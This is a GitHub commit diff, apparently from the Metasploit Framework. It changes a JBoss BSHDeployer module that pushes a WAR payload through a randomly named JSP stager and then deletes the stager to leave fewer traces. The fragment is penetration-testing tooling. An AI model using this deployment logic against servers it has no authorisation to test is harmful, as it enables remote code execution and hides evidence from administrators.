Skip to content

Commit 2ae23bb

Browse files
author
us3r777
committed
Remove STAGERNAME option
This option wasn't really required, the stager can be removed as soon as the WAR is deployed. This commit does the modifications needed to remove the stager right after the WAR deployment.
1 parent 027f543 commit 2ae23bb

File tree

2 files changed

+20
-17
lines changed

2 files changed

+20
-17
lines changed

lib/msf/http/jboss/bean_shell.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -18,6 +18,7 @@ def deploy_bsh(bsh_script)
1818
end
1919

2020
packages.each do |p|
21+
print_status("Attempting to use '#{p}' as package")
2122
if deploy_package(bsh_script, p)
2223
return p
2324
end
@@ -34,7 +35,6 @@ def deploy_bsh(bsh_script)
3435
def deploy_package(bsh_script, package)
3536
success = false
3637

37-
print_status("Attempting to use '#{package}' as package")
3838
res = invoke_bsh_script(bsh_script, package)
3939

4040
if res.nil?

modules/auxiliary/admin/http/jboss_bshdeployer.rb

Lines changed: 19 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -41,12 +41,11 @@ def initialize
4141
[
4242
Opt::RPORT(8080),
4343
OptString.new('APPBASE', [ true, 'Application base name', 'payload']),
44-
OptString.new('STAGERNAME', [ false, 'Only used if VERB is not POST', 'stager']),
4544
OptPath.new('WARFILE', [ false, 'The WAR file to deploy'])
4645
], self.class)
4746
end
4847

49-
def deploy_action(app_base, stager_name, war_data)
48+
def deploy_action(app_base, war_data)
5049
encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
5150

5251
if http_verb == 'POST'
@@ -57,6 +56,7 @@ def deploy_action(app_base, stager_name, war_data)
5756
}
5857
else
5958
print_status("#{peer} - Deploying stager...")
59+
stager_name = Rex::Text.rand_text_alpha(8 + rand(8))
6060
stager_contents = stager_jsp(app_base)
6161
opts = {
6262
:dir => "#{stager_name}.war",
@@ -78,7 +78,7 @@ def deploy_action(app_base, stager_name, war_data)
7878
unless http_verb == 'POST'
7979
# call the stager to deploy our real payload war
8080
stager_uri = '/' + stager_name + '/' + stager_name + '.jsp'
81-
payload_data = "#{rand_text_alpha(8+rand(8))}=#{Rex::Text.uri_encode(encoded_payload)}"
81+
payload_data = "#{Rex::Text.rand_text_alpha(8+rand(8))}=#{Rex::Text.uri_encode(encoded_payload)}"
8282
print_status("#{peer} - Calling stager #{stager_uri} to deploy final payload...")
8383
res = deploy('method' => 'POST',
8484
'data' => payload_data,
@@ -88,19 +88,28 @@ def deploy_action(app_base, stager_name, war_data)
8888
else
8989
print_error("#{peer} - Failed to deploy final payload")
9090
end
91+
92+
# Remove the stager
93+
print_status("#{peer} - Removing stager...")
94+
files = {}
95+
files[:stager_jsp_name] = "#{stager_name}.war/#{stager_name}.jsp"
96+
files[:stager_base] = "#{stager_name}.war"
97+
delete_script = generate_bsh(:delete, files)
98+
res = deploy_package(delete_script, package)
99+
if res.nil?
100+
print_error("#{peer} - Unable to remove Stager")
101+
else
102+
print_good("#{peer} - Stager successfully removed")
103+
end
91104
end
92105

93106
end
94107

95-
def undeploy_action(app_base, stager_name)
108+
def undeploy_action(app_base)
96109
# Undeploy the WAR and the stager if needed
97110
print_status("#{peer} - Undeploying #{app_base} by deleting the WAR file via BSHDeployer...")
98111

99112
files = {}
100-
unless stager_name.nil?
101-
files[:stager_jsp_name] = "#{stager_name}.war/#{stager_name}.jsp"
102-
files[:stager_base] = "#{stager_name}.war"
103-
end
104113
files[:app_base] = "#{app_base}.war"
105114
delete_script = generate_bsh(:delete, files)
106115

@@ -114,22 +123,16 @@ def undeploy_action(app_base, stager_name)
114123

115124
def run
116125
app_base = datastore['APPBASE']
117-
if http_verb == 'POST'
118-
stager_name = nil
119-
else
120-
stager_name = datastore['STAGERNAME']
121-
stager_name = "stager" if stager_name.blank?
122-
end
123126

124127
case action.name
125128
when 'Deploy'
126129
unless File.exist?(datastore['WARFILE'])
127130
print_error("WAR file not found")
128131
end
129132
war_data = File.read(datastore['WARFILE'])
130-
deploy_action(app_base, stager_name, war_data)
133+
deploy_action(app_base, war_data)
131134
when 'Undeploy'
132-
undeploy_action(app_base, stager_name)
135+
undeploy_action(app_base)
133136
end
134137
end
135138
end

0 commit comments

Comments
 (0)